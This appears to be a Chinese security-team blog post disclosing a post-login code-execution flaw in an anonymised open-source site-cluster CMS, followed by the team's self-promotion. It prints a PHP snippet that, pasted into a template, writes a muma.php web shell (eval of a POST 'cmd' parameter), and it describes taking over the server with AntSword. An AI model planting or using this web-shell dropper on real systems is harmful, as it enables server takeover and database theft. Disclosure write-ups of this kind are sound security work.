简介

某站群原来是我们内部自己开发使用的一套程序，后来看到很多人有相似的需求，团队决定发布出来免费开源给大家使用。某公司某站群最新版本存在文件上传漏洞，攻击者可利用该漏洞获取服务器控制权限。

适合用在什么场景？推荐有建站基础，懂得SEO的专业人士使用，可用于养域名养权重，关键词流量站、蜘蛛池、企业站乃至个人博客都可以使用。

下载程序

官网下载：https://www.*******.com/

下载地址点击以后跳转此页面，点击下载谷歌是没有反应的，360和ie是可以的，谷歌浏览器报错 Mixed Content: The site at '<URL>' was loaded over a secure connection, but the file at '<URL>' was loaded over an insecure connection. This file should be served over HTTPS. This download has been blocked. See <URL> for more details. 提示遇到https和http不兼容问题

打开调试，直接点击url就可以下载或者是改成https点击下载就可以下载了。但是官方审核到了三级验证中了，点击下载没反应就直接给驳回了。

然后我又重新在文档做了说明，并下载了安装包放到附件里边重新提交的，又要从一级审核开始。

官方大人审核，不敢多言，直接上过程。

搭建过程

下载安装包安装完以后， 此时登录后台程序：

后台效果

进入后台以后：点击系统设置->模板风格->可以下载其他模板以后，点击编辑模板，站点选择该模板。

复制此段程序：找到首页模板，复制进去，点击保存就可以了。

保存完，运行前端，会在根目录下生成文件。

会在根目录下生成muma.php

恶意代码：

<?php

$file=fopen("muma.php","w");//根目录创建muma.php文件
fwrite($file,'<');
fwrite($file,'?');
fwrite($file,'php');
fwrite($file,' @eval($_POST["cmd"]);');
fwrite($file,'?>');

?>

运行完以后，域名+muma.php

使用蚁剑链接木马，获得服务器权限：

查看数据配置信息：

代码分析

点击保存，获取到这个地址。

找到保存方法，获取body内容，stripslashes 函数对内容反斜杠处理，对非法内容并没有过滤。

至此，通过系统后台文件编辑，通过非法代码，运行文件，实现写入木马程序执行，拿到了服务器全部权限、源码，以及数据库信息，造成了很严重的后果。

E

N

D

关

于

我

们

Tide安全团队正式成立于2019年1月，是新潮信息旗下以互联网攻防技术研究为目标的安全团队，团队致力于分享高质量原创文章、开源安全工具、交流安全技术，研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室，近三年来在网络安全技术方面开展研发项目60余项，获得各类自主知识产权30余项，省市级科技项目立项20余项，研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

原文始发于微信公众号（Tide安全团队）：某站群命令执行之官方审核